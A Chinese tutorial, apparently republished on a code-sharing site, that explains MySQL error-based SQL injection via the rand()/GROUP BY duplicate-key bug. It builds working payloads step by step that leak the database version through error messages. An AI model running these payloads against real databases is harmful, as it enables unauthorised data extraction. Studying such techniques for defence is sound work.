• 欢迎访问搞代码网站,推荐使用最新版火狐浏览器和Chrome浏览器访问本网站!
  • 如果您觉得本站非常有看点,那么赶紧使用Ctrl+D 收藏搞代码吧

MYSQL高级爆错注入原理_MySQL

mysql 搞代码 4年前 (2022-01-09) 13次浏览 已收录 0个评论

国内只有一大堆高级爆错的利用代码 没人分析原因 这个是去官网查资料后分析给出的。

这里主要用了mysql的一个BUG :http://bugs.mysql.com/bug.php?id=8652

grouping on certain parts of the result from rand, causes a duplicate key error.重现过程
use mysql;create table r1 (a int); insert into r1 values (1),(2),(1),(2),(1),(2),(1),(2),(1),(2),(1),(2),(1),(2);select left(rand(),3),a from r<div style="color:transparent">本文来源gaodai.ma#com搞#代!码(网</div>1 group by 1;select left(rand(),3),a, count(*) from r1 group by 1;select round(rand(1),1),a, count(*) from r1 group by 1;

于是便可以这样拿来爆错注入了。

select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x;

尝试拿来实战

select * from user where user=’root’ and (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x);

提示错误 选择的列应该为一个。那么。我们换一下

select * from user where user='root' and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x));
1248 (42000): Every derived table must have its own alias

提示多表查询要有别名 那好办

select * from user where user='root' and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x)a);

或者

select * from user where user='root' and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x) as lusiyu);

成功爆粗注入了

91ri.org:个人认为这篇:《双查询注入》中关于mysql爆错注入介绍的更为详细,推荐一下。


搞代码网(gaodaima.com)提供的所有资源部分来自互联网,如果有侵犯您的版权或其他权益,请说明详细缘由并提供版权或权益证明然后发送到邮箱[email protected],我们会在看到邮件的第一时间内为您处理,或直接联系QQ:872152909。本网站采用BY-NC-SA协议进行授权
转载请注明原文链接:MYSQL高级爆错注入原理_MySQL

喜欢 (0)
[搞代码]
分享 (0)
发表我的评论
取消评论

表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址